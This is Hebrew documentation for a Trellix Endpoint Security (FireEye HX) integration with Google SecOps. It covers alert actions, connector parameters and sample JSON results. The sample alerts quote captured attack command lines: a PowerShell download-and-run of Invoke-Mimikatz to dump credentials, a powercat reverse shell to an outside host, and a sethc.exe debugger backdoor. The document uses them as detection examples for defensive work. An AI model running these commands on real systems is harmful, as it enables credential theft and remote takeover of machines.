תוצאות הפעולה

תוצאת הסקריפט
שם תוצאת הסקריפט אפשרויות של ערכים דוגמה
is_success נכון/לא נכון is_success:False
תוצאת JSON
[
    {
        "EntityResult": [{
            "comment": " ",
            "zip_passphrase": "unzip-me",
            "indicator": {
                "url": null,
                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "request_actor": {
                "username": "admin",
                "_id": 1000
            },
            "request_time": "2020-06-01T08:43:14.000Z",
            "finish_time": "2020-06-01T08:46:39.156Z",
            "_revision": "20200601084639156575147403",
            "error_message": "The acquisition completed with issues.",
            "req_use_api": false,
            "alert": {
                "url": null,
                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "url": "/hx/api/v3/acqs/files/9",
            "state": "COMPLETE",
            "host": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
                "_id":
                "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "req_filename": "reg.exe",
            "req_path": "C:\\\\Windows\\\\System32",
            "_id": 9,
            "external_id": null,
            "condition": {
                "url": null,
                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "md5": "601bddf7691c5af626a5719f1d7e35f1"
        }],
        "Entity": "PC-01"
    }
]

האם מכיל התראות על תוכנות זדוניות

תיאור

בודקים אם יש התראות על תוכנות זדוניות שקשורות לישויות של מארחים או כתובות IP של Google SecOps בשרת Trellix Endpoint Security.

ריצה

הפעולה הזו פועלת על הישויות הבאות:

  • כתובת IP
  • שם המארח

תוצאות הפעולה

תוצאת הסקריפט
שם תוצאת הסקריפט אפשרויות של ערכים דוגמה
is_success נכון/לא נכון is_success:False
תוצאת JSON
[
    {
        "EntityResult": {
            "alerting_conditions": 10,
            "exploit_alerts": 0,
            "acqs": 4,
            "malware_false_positive_alerts": 0,
            "alerts": 10,
            "exploit_blocks": 0,
            "false_positive_alerts": 0,
            "malware_cleaned_count": 0,
            "malware_alerts": 0,
            "false_positive_alerts_by_source": {},
            "generic_alerts": 0,
            "malware_quarantined_count": 0
        },
        "Entity": "PC-01"
    }
]

פינג

תיאור

בודקים את הקישוריות לשרת Trellix Endpoint Security באמצעות הפרמטרים שמופיעים בדף הגדרת השילוב ב-Google SecOps Content Hub.

ריצה

הפעולה הזו פועלת בכל הישויות.

תוצאות הפעולה

תוצאת הסקריפט
שם תוצאת הסקריפט אפשרויות של ערכים דוגמה
is_success נכון/לא נכון is_success:False
תוצאת JSON
N/A

אישור קבוצות של התראות

תיאור

כדי לשפר את הסנכרון בין פלטפורמת HX לבין Google SecOps, צריך לאשר קבוצות של התראות שמטופלות על ידי Google SecOps.

פרמטרים

שם הפרמטר לתצוגה סוג ערך ברירת המחדל חובה תיאור
מזהי קבוצות של התראות רשימה מופרדת בפסיקים לא רלוונטי כן צריך לציין את המזהים של קבוצות ההתראות שרוצים לאשר, ברשימה מופרדת בפסיקים.
אישור DDL אישור כן מציינים אם רוצים לאשר או לבטל את האישור של קבוצות ההתראות שצוינו.
הערה על אישור String לא רלוונטי לא מציינים את הערת האישור שרוצים להוסיף לקבוצות ההתראות הרלוונטיות.
הגבלה מספר שלם לא רלוונטי לא מציינים את המספר המקסימלי של רשימות קבוצות ההתראות שיוחזרו מה-API, בתוצאת ה-JSON.

ריצה

הפעולה הזו לא פועלת על ישויות, יש לה פרמטר קלט חובה.

תוצאות הפעולה

תוצאת הסקריפט
שם תוצאת הסקריפט אפשרויות של ערכים דוגמה
is_success נכון/לא נכון is_success:False
תוצאת JSON
{
    "data": {
        "total": 2,
        "query": {},
        "sort": {},
        "offset": 0,
        "limit": 50,
        "entries": [
            {
                "_id": "4532f4d8d50ab50a7830e2823ac488fd",
                "assessment": "[Process powershell.exe started] POWERSHELL DOWNLOADER (METHODOLOGY)",
                "file_full_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
                "first_event_at": "2020-08-17T12:03:38.496Z",
                "last_event_at": "2020-12-10T08:02:22.561Z",
                "dispositions": [],
                "source": "IOC",
                "has_fp_disposition": false,
                "last_alert": {
                    "_id": 718,
                    "agent": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "containment_state": "normal"
                    },
                    "condition": {
                        "_id": "yQjMv_j5PKfjL8Qu5uSm4A==",
                        "url": "/hx/api/v3/conditions/yQjMv_j5PKfjL8Qu5uSm4A=="
                    },
                    "event_at": "2020-08-17T12:03:38.496+00:00",
                    "matched_at": "2020-12-10T09:26:55+00:00",
                    "reported_at": "2020-12-10T09:27:08.624+00:00",
                    "source": "IOC",
                    "resolution": "ALERT",
                    "decorators": [],
                    "md5values": [
                        "cda48fc75952ad12d99e526d0b6bf70a"
                    ],
                    "decorator_sources": [],
                    "decorator_statuses": [],
                    "url": "/hx/api/v3/alerts/718",
                    "event_id": 39882,
                    "event_type": "processEvent",
                    "event_values": {
                        "processEvent/timestamp": "2020-08-17T12:03:38.496Z",
                        "processEvent/eventType": "start",
                        "processEvent/pid": 9896,
                        "processEvent/processPath": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
                        "processEvent/process": "powershell.exe",
                        "processEvent/parentPid": 5560,
                        "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
                        "processEvent/parentProcess": "cmd.exe",
                        "processEvent/username": "FIREEYE-LAB\\Administrator",
                        "processEvent/startTime": "2020-08-17T12:03:38.496Z",
                        "processEvent/md5": "cda48fc75952ad12d99e526d0b6bf70a",
                        "processEvent/processCmdLine": "powershell.exe  \"iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds\" "
                    },
                    "is_false_positive": false
                },
                "generic_alert_badge": null,
                "generic_alert_label": null,
                "stats": {
                    "events": 3
                },
                "url": "/hx/api/v3/alert_groups/4532f4d8d50ab50a7830e2823ac488fd",
                "created_at": "2020-12-10T09:26:56.056Z",
                "acknowledgement": {
                    "acknowledged": true,
                    "acknowledged_by": "test2",
                    "acknowledged_time": "2020-12-22T19:00:25.688Z",
                    "comment": "test comment",
                    "comment_update_time": "2020-12-22T19:00:25.688Z"
                },
                "grouped_by": {
                    "condition_id": "yQjMv_j5PKfjL8Qu5uSm4A==",
                    "detected_by": "ioc_engine",
                    "host": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "primary_ip_address": "172.30.202.152"
                    }
                }
            },
            {
                "_id": "e9f4d7baaa362d9d5d0b6e053ba0d44d",
                "assessment": "[Registry key event] EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                "file_full_path": "",
                "first_event_at": "2020-12-10T08:04:09.521Z",
                "last_event_at": "2020-12-10T09:26:14.114Z",
                "dispositions": [],
                "source": "IOC",
                "has_fp_disposition": false,
                "last_alert": {
                    "_id": 723,
                    "agent": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "containment_state": "normal"
                    },
                    "condition": {
                        "_id": "2npvcLf_arxPaH717hQZ9g==",
                        "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                    },
                    "event_at": "2020-12-10T09:26:14.114+00:00",
                    "matched_at": "2020-12-10T09:26:56+00:00",
                    "reported_at": "2020-12-10T09:27:08.735+00:00",
                    "source": "IOC",
                    "resolution": "ALERT",
                    "decorators": [],
                    "md5values": [],
                    "decorator_sources": [],
                    "decorator_statuses": [],
                    "url": "/hx/api/v3/alerts/723",
                    "event_id": 880771,
                    "event_type": "regKeyEvent",
                    "event_values": {
                        "regKeyEvent/timestamp": "2020-12-10T09:26:14.114Z",
                        "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                        "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                        "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                        "regKeyEvent/eventType": 1,
                        "regKeyEvent/pid": 8740,
                        "regKeyEvent/process": "reg.exe",
                        "regKeyEvent/processPath": "C:\\Windows\\System32",
                        "regKeyEvent/valueName": "Debugger",
                        "regKeyEvent/valueType": "REG_SZ",
                        "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                        "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                        "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                    },
                    "is_false_positive": false
                },
                "generic_alert_badge": null,
                "generic_alert_label": null,
                "stats": {
                    "events": 2
                },
                "url": "/hx/api/v3/alert_groups/e9f4d7baaa362d9d5d0b6e053ba0d44d",
                "created_at": "2020-12-10T08:04:54.740Z",
                "acknowledgement": {
                    "acknowledged": true,
                    "acknowledged_by": "test2",
                    "acknowledged_time": "2020-12-22T19:00:25.688Z",
                    "comment": "test comment",
                    "comment_update_time": "2020-12-22T19:00:25.688Z"
                },
                "grouped_by": {
                    "condition_id": "2npvcLf_arxPaH717hQZ9g==",
                    "detected_by": "ioc_engine",
                    "host": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "primary_ip_address": "172.30.202.152"
                    }
                }
            }
        ]
    },
    "message": "OK",
    "details": [],
    "route": "/hx/api/v3/alert_groups"
}
קיר נרתיקים
סוג התוצאות ערך/תיאור סוג
הודעת פלט*

הפעולה לא אמורה להיכשל או לעצור את ההפעלה של הפלייבוק:
אם הפעולה הצליחה: אם (סה"כ) שווה ל-(מספר המזהים של קבוצות ההתראות) -

"סטטוס האישור של כל קבוצות ההתראות עודכן"

אם חלק מההתראות אוחזרו וחלק לא: (מספר המזהים שסופקו גדול מהמספר הכולל) – "Successfully fetched alerts for the following alert group IDs: {succesfull_alert_groups_ids}"
"Couldn't fetch alerts for the following alert group IDs: {not_succesfull_slert_group_ids}"

אם לא אוחזרו פרטים של קבוצת התראות:

"לא הצלחנו לאחזר התראות לאף אחד ממזהי קבוצות ההתראות שצוינו. צריך לבדוק את המזהים שצוינו ולנסות שוב"

הפעולה אמורה להיכשל ולעצור את ההפעלה של הפלייבוק:
אם הפעולה לא הצליחה: "הפעולה 'קבלת התראות בקבוצת התראות' נכשלה (exception.stacktrace)

 כללי

קבלת קבוצות של התראות למארחים

תיאור

הצגת רשימה של קבוצות התראות שקשורות למארח ב-Trellix Endpoint Security. ישויות נתמכות: שם מארח, כתובת IP.

פרמטרים

שם הפרמטר לתצוגה סוג ערך ברירת המחדל חובה תיאור
מסנן אישורים DDL

הכל

רק התראות שקיבלו אישור

רק כאלה שלא אושרו

 לא מציינים אם רוצים להחזיר את כל קבוצות ההתראות או רק את אלה שאושרו או לא אושרו.
המספר המקסימלי של קבוצות התראות שיוחזרו מספר שלם 20 לא מציינים כמה קבוצות של התראות יוחזרו לכל ישות. ברירת המחדל: 20.

ריצה

הפעולה הזו פועלת על הישויות הבאות:

  • כתובת IP
  • שם המארח

תוצאות הפעולה

תוצאת הסקריפט
שם תוצאת הסקריפט אפשרויות של ערכים דוגמה
is_success נכון/לא נכון is_success:False
תוצאת JSON
{
    "_id": "6d9a68f2a78f8d983bd3c0f4556785e6",
    "assessment": "[Heur.BZC.ONG.Cheetah.3.1C89233F]",
    "file_full_path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
    "first_event_at": "2021-07-01T09:44:18.809Z",
    "last_event_at": "2021-07-01T09:44:18.809Z",
    "dispositions": [],
    "source": "MAL",
    "has_fp_disposition": false,
    "last_alert": {
        "_id": 812,
        "agent": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "containment_state": "normal"
        },
        "event_at": "2021-07-01T09:44:18.809+00:00",
        "matched_at": "2021-07-01T09:44:18.809+00:00",
        "reported_at": "2021-07-01T09:44:20.353+00:00",
        "source": "MAL",
        "resolution": "QUARANTINED",
        "decorators": [],
        "md5values": [
            "36be03ea88f7d1effcafeeb65e0e1e57"
        ],
        "decorator_sources": [],
        "decorator_statuses": [],
        "url": "/hx/api/v3/alerts/812",
        "condition": null,
        "event_id": null,
        "event_type": null,
        "event_values": {
            "system-data": {
                "xmlns": "http://www.fireeye.com/antimalware-alert",
                "xmlns:xsi": "http://www.w3.org/2001/XMLSchema-instance",
                "xsi:schemaLocation": "http://www.fireeye.com/antimalware-alert AM-alert.xsd",
                "alert-version": "3",
                "correlation-id": "d01e8ea6-4d34-4005-8482-3ccc026e11ea",
                "timestamp": "2021-07-01T09:44:18.809Z",
                "product-version": "32.36.0",
                "engine-version": "11.0.1.19",
                "content-version": "7.86346",
                "mg-engine-version": "32.30.0.8460",
                "mg-content-version": "25",
                "whitelist-schema-version": "1.0.0",
                "whitelist-content-version": "1.32.1"
            },
            "os-details": {
                "$": {
                    "name": "windows",
                    "version": "10.0.14393",
                    "patch": "0",
                    "os-arch": "64-bit",
                    "os-language": "en-US"
                }
            },
            "scan-type": "oas",
            "scanned-object": {
                "scanned-object-type": "file-event",
                "file-event": {
                    "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                    "actor-process": {
                        "pid": "1268",
                        "path": "C:\\Windows\\System32\\xcopy.exe",
                        "user": {
                            "username": "",
                            "domain": ""
                        }
                    },
                    "sub-type": "FILE_OPERATION_CLOSED"
                }
            },
            "detections": {
                "detection": [
                    {
                        "engine": {
                            "engine-type": "av",
                            "engine-version": "11.0.1.19",
                            "content-version": "7.86346"
                        },
                        "infected-object": {
                            "object-type": "file",
                            "file-object": {
                                "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                                "inner-file-path": "",
                                "original-file-name": "",
                                "container": "false",
                                "packed": "false",
                                "hidden": "false",
                                "system-file": "false",
                                "read-only": "false",
                                "temporary": "false",
                                "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
                                "sha1sum": "ce1cdd84732367cbf2be60df57c52760bf2e8fe9",
                                "sha256sum": "3862ddf0a77ef8e7e17c641939a6dc349885c1a08cd64748ec50358adafe0631",
                                "size-in-bytes": "753",
                                "creation-time": "2021-07-01T09:41:47.610Z",
                                "modification-time": "2020-05-29T09:34:17.066Z",
                                "access-time": "2021-07-01T09:41:47.610Z"
                            }
                        },
                        "infection": {
                            "confidence-level": "high",
                            "infection-type": "malware",
                            "infection-name": "Heur.BZC.ONG.Cheetah.3.1C89233F"
                        },
                        "action": {
                            "actioned-object": {
                                "object-type": "file",
                                "file-object": {
                                    "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                                    "inner-file-path": "",
                                    "original-file-name": "",
                                    "container": "false",
                                    "packed": "false",
                                    "hidden": "false",
                                    "system-file": "false",
                                    "read-only": "false",
                                    "temporary": "false",
                                    "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
                                    "sha1sum": "ce1cdd84732367cbf2be60df57c52760bf2e8fe9",
                                    "sha256sum": "3862ddf0a77ef8e7e17c641939a6dc349885c1a08cd64748ec50358adafe0631",
                                    "size-in-bytes": "753",
                                    "creation-time": "2021-07-01T09:41:47.610Z",
                                    "modification-time": "2020-05-29T09:34:17.066Z",
                                    "access-time": "2021-07-01T09:41:47.610Z"
                                }
                            },
                            "requested-action": "clean",
                            "applied-action": "quarantine",
                            "result": "success",
                            "error": "0",
                            "reboot-required": "false"
                        }
                    }
                ]
            },
            "scan-statistics": {
                "total-scan-time-in-ms": "12227"
            }
        },
        "is_false_positive": false
    },
    "generic_alert_badge": null,
    "generic_alert_label": null,
    "stats": {
        "events": 1
    },
    "url": "/hx/api/v3/alert_groups/6d9a68f2a78f8d983bd3c0f4556785e6",
    "created_at": "2021-07-01T09:44:23.726Z",
    "acknowledgement": {
        "acknowledged": false,
        "acknowledged_by": null,
        "acknowledged_time": null,
        "comment": null,
        "comment_update_time": null
    },
    "grouped_by": {
        "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
        "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
        "infection-name": "Heur.BZC.ONG.Cheetah.3.1C89233F",
        "detected_by": "malware_file_access_scan",
        "host": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "primary_ip_address": "172.30.202.71"
        }
    }
},
{
    "_id": "0043aa34dea99c23996c2f16291cdb4e",
    "assessment": "[Process powershell.exe started] POWERCAT (UTILITY)",
    "file_full_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
    "first_event_at": "2021-07-01T09:41:50.428Z",
    "last_event_at": "2021-07-01T09:41:50.428Z",
    "dispositions": [],
    "source": "IOC",
    "has_fp_disposition": false,
    "last_alert": {
        "_id": 811,
        "agent": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "containment_state": "normal"
        },
        "condition": {
            "_id": "KBvTAC_L_GiI9BZbph2GoA==",
            "url": "/hx/api/v3/conditions/KBvTAC_L_GiI9BZbph2GoA=="
        },
        "event_at": "2021-07-01T09:41:50.428+00:00",
        "matched_at": "2021-07-01T09:43:29+00:00",
        "reported_at": "2021-07-01T09:44:09.339+00:00",
        "source": "IOC",
        "resolution": "ALERT",
        "decorators": [],
        "md5values": [
            "097ce5761c89434367598b34fe32893b"
        ],
        "decorator_sources": [],
        "decorator_statuses": [],
        "url": "/hx/api/v3/alerts/811",
        "event_id": 11311494,
        "event_type": "processEvent",
        "event_values": {
            "processEvent/timestamp": "2021-07-01T09:41:50.428Z",
            "processEvent/eventType": "start",
            "processEvent/pid": 3676,
            "processEvent/processPath": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
            "processEvent/process": "powershell.exe",
            "processEvent/parentPid": 2496,
            "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
            "processEvent/parentProcess": "cmd.exe",
            "processEvent/username": "FIREEYE-LAB\\Administrator",
            "processEvent/startTime": "2021-07-01T09:41:50.428Z",
            "processEvent/md5": "097ce5761c89434367598b34fe32893b",
            "processEvent/processCmdLine": "powershell  -Exec Bypass \". \\\"C:\\TMP\\nc.ps1\\\";powercat -c www.googleaccountsservices.com -p 80 -t 2 -e cmd\""
        },
        "multiple_match": "Multiple Indicators Matched.",
        "is_false_positive": false
    },
    "generic_alert_badge": null,
    "generic_alert_label": null,
    "stats": {
        "events": 1
    },
    "url": "/hx/api/v3/alert_groups/0043aa34dea99c23996c2f16291cdb4e",
    "created_at": "2021-07-01T09:44:13.744Z",
    "acknowledgement": {
        "acknowledged": false,
        "acknowledged_by": null,
        "acknowledged_time": null,
        "comment": null,
        "comment_update_time": null
    },
    "grouped_by": {
        "condition_id": "KBvTAC_L_GiI9BZbph2GoA==",
        "detected_by": "ioc_engine",
        "host": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "primary_ip_address": "172.30.202.71"
        }
    }
קיר נרתיקים
סוג התוצאות ערך/תיאור סוג
הודעת פלט\*

הפעולה לא אמורה להיכשל או להפסיק את ההפעלה של הפלייבוק:
אם יש נתונים זמינים לאחת מהן(is_success = true): "Successfully retrieved alert groups for the following entities in Trellix Endpoint Security: {entity.identifier}".

אם הנתונים לא זמינים לאחת מהישויות(is_success = true): "הפעולה לא הצליחה לאחזר קבוצות של התראות עבור הישויות הבאות ב-Trellix Endpoint Security: ‏{entity.identifier}".

אם הנתונים לא זמינים לכולם(is_success=false): "לא נמצאו קבוצות של התראות לישויות שצוינו ב-Trellix Endpoint Security".

הפעולה אמורה להיכשל ולעצור את ההפעלה של הפלייבוק:
אם יש שגיאה חמורה, כמו פרטי כניסה שגויים, אין חיבור לשרת, אחר: "שגיאה בהפעלת הפעולה "קבלת קבוצות של התראות מארח". הסיבה: {0}''.format(error.Stacktrace)

 כללי
שולחן קיר עם ארונית

עמודות:

  • בדיקה
  • מזהה קבוצת ההתראות
  • האירוע הראשון ב-
  • האירוע האחרון בתאריך
  • אושרו
  • מספר האירועים
  • זוהה על ידי
ישות

מחברים

מחבר FireEye HX Alerts

תיאור

המחבר Google SecOps SOAR Trellix Endpoint Security Alerts קולט התראות אבטחה שנוצרו בשרת Trellix Endpoint Security.

המחבר מתחבר מדי פעם לנקודת הקצה של שרת ה-API של Trellix Endpoint Security, ושולף רשימה של התראות שנוצרו בתקופה מסוימת. אם יש התראות חדשות, המחבר יוצר התראות ב-Google SecOps SOAR על סמך ההתראות של Trellix Endpoint Security, ושומר את חותמת הזמן של המחבר בתור הזמן של ההתראה האחרונה שהוטמעה בהצלחה. בפעם הבאה שהמחבר יופעל, הוא ישלח שאילתה ל-Trellix Endpoint Security API רק לגבי התראות שנוצרו מחותמת הזמן (חותמת הזמן בתוספת היסט "טכני" כדי שהמחבר לא "ייתקע"). אם לא נמצאו התראות חדשות, ההרצה הנוכחית מסתיימת.

הרשאות גישה ל-API

המחבר Trellix Endpoint Security Alerts משתמש באותן שיטות אימות והרשאות של API כמו השילוב הקיים של FireEye. כדי לעבוד עם התראות FireEye, החשבון שישמש לשילוב צריך להיות עם התפקיד API Analyst או API Admin.

הגדרת FireEye HX Alerts Connector ב-Google SecOps

הוראות מפורטות להגדרת מחבר ב-Google SecOps מופיעות במאמר הגדרת המחבר.

פרמטרים של מחברים

כדי להגדיר את המחבר, משתמשים בפרמטרים הבאים:

שם הפרמטר לתצוגה סוג ערך ברירת המחדל חובה תיאור
שם שדה המוצר String ProductName כן תיאור שהוגדר על ידי הפלטפורמה, השדה לא ניתן לשינוי.
שם השדה של האירוע String AlertName כן התיאור מוגדר על ידי הפלטפורמה, השדה לא ניתן לשינוי.
שם השדה של הסביבה String "" לא

מתאר את שם השדה שבו מאוחסן שם הסביבה.

אם שדה הסביבה לא נמצא, הסביבה היא "".
תבנית ביטוי רגולרי של סביבה String .* לא

תבנית של ביטוי רגולרי להפעלה על הערך שנמצא בשדה "שם השדה של הסביבה".

ברירת המחדל היא .* כדי לכלול את הכול ולהחזיר את הערך ללא שינוי.

משמש כדי לאפשר למשתמש לשנות את שדה הסביבה באמצעות לוגיקה של ביטויים רגולריים

אם תבנית הביטוי הרגולרי היא null או ריקה, או אם ערך הסביבה הוא null, התוצאה הסופית של הסביבה היא "".
זמן קצוב לתפוגה של סקריפט (בשניות) מספר שלם 180 כן מגבלת הזמן הקצוב לתהליך Python שמריץ את הסקריפט הנוכחי.
הרמה הבסיסית (root) של ה-API String https://x.x.x.x:<port> כן כתובת ה-URL הבסיסית של Trellix Endpoint Security Server API
שם משתמש String לא רלוונטי כן משתמש Trellix Endpoint Security לאימות
סיסמה סיסמה לא רלוונטי כן סיסמת המשתמש של Trellix Endpoint Security לאימות
אימות SSL תיבת סימון סימן אישור כן אם צוין, המחבר יבדוק אם Trellix Endpoint Security מוגדר עם אישור SSL תקף. אם האישור לא תקף, המחבר יחזיר שגיאה.
הפרש הזמן בשעות מספר שלם 24 כן אחזור התראות מ-X שעות אחורה.
מספר ההתראות המקסימלי בכל מחזור מספר שלם 25 כן כמה התראות צריך לעבד במהלך הפעלה אחת של המחבר.
סוג ההתראה String active_threat לא מציינים את סוגי התראות האבטחה של Trellix Endpoint Security שרוצים להטמיע. כברירת מחדל, הוא מוגדר ל-active_threat כדי להחזיר התראות במצב ALERT ו-QUARANTINED/partial_block. פרמטר חוקי אחר הוא ALERT, שיחזיר רק התראות פתוחות.
שימוש ברשימת ההיתרים כרשימת חסימה תיבת סימון (checkbox) התיבה לא מסומנת כן אם המדיניות מופעלת, רשימת ההיתרים תשמש כרשימת חסימה.
כתובת שרת ה-Proxy IP_OR_HOST לא רלוונטי לא שרת ה-proxy שבו צריך להשתמש לחיבור.
שם המשתמש של שרת ה-Proxy String לא רלוונטי לא שם המשתמש של שרת ה-Proxy.
סיסמת שרת ה-Proxy סיסמה לא רלוונטי לא סיסמה לשרת proxy.

כללי מחברים

  • רשימת חסימה כללי רשימת החסימה צריכים להיות נתמכים, אבל המחבר משתמש בלוגיקה של רשימת היתרים כברירת מחדל.
  • כללי רשימת היתרים – משמשים כברירת מחדל.
  • תמיכה בשרת proxy – המחבר תומך בשרת proxy.
  • כללי ברירת המחדל של ConnectorRules
RuleType(Whitelist \ Blacklist) RuleName (מחרוזת)
WhiteList בקטע הזה מציינים אילו התראות להטמיע על סמך מאפייני המקור וסוג המשנה של ההתראה. לדוגמה: "IOC" להתראות של אינדיקטורים, "MAL AV" להטמעת התראות על תוכנות זדוניות רק עם סוג המשנה "AV", או "MAL" להטמעת כל ההתראות על תוכנות זדוניות, בלי קשר לסוג המשנה. כדי להטמיע את כל ההתראות, צריך להסיר את כל מה שמופיע בקטע של רשימת ההיתרים.

הבעיה עדיין לא נפתרה? קבלת תשובות מחברי הקהילה וממומחי Google SecOps.